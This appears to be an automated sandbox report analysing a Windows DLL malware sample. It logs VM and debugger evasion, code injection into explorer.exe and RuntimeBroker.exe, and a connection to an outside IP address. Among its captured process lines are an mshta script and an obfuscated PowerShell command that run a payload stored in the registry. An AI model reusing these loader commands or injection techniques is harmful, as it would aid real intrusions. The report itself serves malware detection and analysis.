                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\control.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX

                      Malware Analysis System Evasion

                      barindex
                      Uses ping.exe to sleep
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6440Thread sleep time: -10145709240540247s >= -30000sJump to behavior
                      Source: C:\Windows\explorer.exe TID: 6836Thread sleep time: -1773297476s >= -30000s
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5446Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4040Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.dllJump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.dllJump to dropped file
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD591B wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,4_2_05DD591B
                      Source: explorer.exe, 0000001D.00000000.540197857.0000000007FBD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
                      Source: explorer.exe, 0000001D.00000000.540197857.0000000007FBD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}d
                      Source: explorer.exe, 0000001D.00000000.586255022.000000000807C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
                      Source: RuntimeBroker.exe, 00000037.00000000.706806325.000002481183F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                      Source: explorer.exe, 0000001D.00000000.586255022.000000000807C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000I
                      Source: mshta.exe, 00000012.00000003.454449397.0000023DBE606000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}/
                      Source: explorer.exe, 0000001D.00000000.586255022.000000000807C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
                      Source: RuntimeBroker.exe, 00000027.00000002.888309111.000002BFD4858000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: XInput_{74cfb8af-f714-4a10-bf9a-dde4f65eecfb}osoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                      Source: explorer.exe, 0000001D.00000000.577232100.00000000042EE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}q^
                      Source: RuntimeBroker.exe, 0000002E.00000002.886858885.000001EF33813000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}te\
                      Source: explorer.exe, 0000001D.00000000.577016064.00000000042A0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000O
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDFCC0 lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,4_2_05DDFCC0
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDCE21 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,4_2_05DDCE21
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD5A14 lstrlenW,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,4_2_05DD5A14
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDA513 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,4_2_05DDA513
                      Source: C:\Windows\System32\loaddll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\loaddll32.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDBE55 StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler,4_2_05DDBE55

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 146.70.35.138 80Jump to behavior
                      Maps a DLL or memory area into another process
                      Source: C:\Windows\SysWOW64\rundll32.exeSection loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and writeJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
                      Source: C:\Windows\System32\control.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
                      Source: C:\Windows\System32\control.exeSection loaded: unknown target: C:\Windows\System32\rundll32.exe protection: execute and read and write
                      Source: C:\Windows\explorer.exeSection loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
                      Source: C:\Windows\explorer.exeSection loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
                      Source: C:\Windows\explorer.exeSection loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
                      Source: C:\Windows\explorer.exeSection loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
                      Allocates memory in foreign processes
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory allocated: C:\Windows\System32\control.exe base: 9E0000 protect: page execute and read and writeJump to behavior
                      Source: C:\Windows\System32\control.exeMemory allocated: C:\Windows\explorer.exe base: 26F0000 protect: page execute and read and write
                      Source: C:\Windows\System32\control.exeMemory allocated: C:\Windows\System32\rundll32.exe base: 28A77490000 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2BFD4780000 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1EF337F0000 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 243733B0000 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory allocated: C:\Windows\SysWOW64\cmd.exe base: 34F0000 protect: page execute and read and write
                      Creates a thread in another existing process (thread injection)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread created: C:\Windows\explorer.exe EIP: 424A1580Jump to behavior
                      Source: C:\Windows\System32\control.exeThread created: C:\Windows\explorer.exe EIP: 424A1580
                      Source: C:\Windows\explorer.exeThread created: C:\Windows\System32\RuntimeBroker.exe EIP: 424A1580
                      Source: C:\Windows\explorer.exeThread created: C:\Windows\System32\RuntimeBroker.exe EIP: 424A1580
                      Source: C:\Windows\explorer.exeThread created: C:\Windows\System32\RuntimeBroker.exe EIP: 424A1580
                      Source: C:\Windows\explorer.exeThread created: C:\Windows\System32\RuntimeBroker.exe EIP: 424A1580
                      Writes to foreign memory regions
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory written: C:\Windows\System32\control.exe base: 7FF76AD312E0Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory written: C:\Windows\System32\control.exe base: 9E0000Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeMemory written: C:\Windows\System32\control.exe base: 7FF76AD312E0Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\explorer.exe base: 5E9000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\explorer.exe base: 7FFF424A1580Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\explorer.exe base: 26D0000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\explorer.exe base: 7FFF424A1580Jump to behavior
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\explorer.exe base: 5EB000
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\explorer.exe base: 7FFF424A1580
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\explorer.exe base: 26F0000
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\explorer.exe base: 7FFF424A1580
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\System32\rundll32.exe base: 7FF60BDC5FD0
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\System32\rundll32.exe base: 28A77490000
                      Source: C:\Windows\System32\control.exeMemory written: C:\Windows\System32\rundll32.exe base: 7FF60BDC5FD0
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: F57F0B7000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2BFD4780000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7EEC376000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 1EF337F0000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4F8001A000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 243733B0000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: F658FEC000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\cmd.exe base: EE6FC0
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\cmd.exe base: 34F0000
                      Source: C:\Windows\explorer.exeMemory written: C:\Windows\SysWOW64\cmd.exe base: EE6FC0
                      Changes memory attributes in foreign processes to executable or writable
                      Source: C:\Windows\System32\control.exeMemory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\System32\control.exeMemory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\System32\control.exeMemory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\System32\control.exeMemory protected: C:\Windows\explorer.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute read
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute read
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute read
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute and read and write
                      Source: C:\Windows\explorer.exeMemory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFF424A1580 protect: page execute read
                      Injects code into the Windows Explorer (explorer.exe)
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3688 base: 5E9000 value: 00Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3688 base: 7FFF424A1580 value: EBJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3688 base: 26D0000 value: 80Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: PID: 3688 base: 7FFF424A1580 value: 40Jump to behavior
                      Source: C:\Windows\System32\control.exeMemory written: PID: 3688 base: 5EB000 value: 00
                      Source: C:\Windows\System32\control.exeMemory written: PID: 3688 base: 7FFF424A1580 value: EB
                      Source: C:\Windows\System32\control.exeMemory written: PID: 3688 base: 26F0000 value: 80
                      Source: C:\Windows\System32\control.exeMemory written: PID: 3688 base: 7FFF424A1580 value: 40
                      Modifies the context of a thread in another process (thread injection)
                      Source: C:\Windows\SysWOW64\rundll32.exeThread register set: target process: 6468Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread register set: target process: 3688Jump to behavior
                      Source: C:\Windows\System32\control.exeThread register set: target process: 3688
                      Source: C:\Windows\System32\control.exeThread register set: target process: 3932
                      Source: C:\Windows\explorer.exeThread register set: target process: 4504
                      Source: C:\Windows\explorer.exeThread register set: target process: 4712
                      Source: C:\Windows\explorer.exeThread register set: target process: 2880
                      Source: C:\Windows\explorer.exeThread register set: target process: 6660
                      Source: unknownProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -hJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdlineJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP"
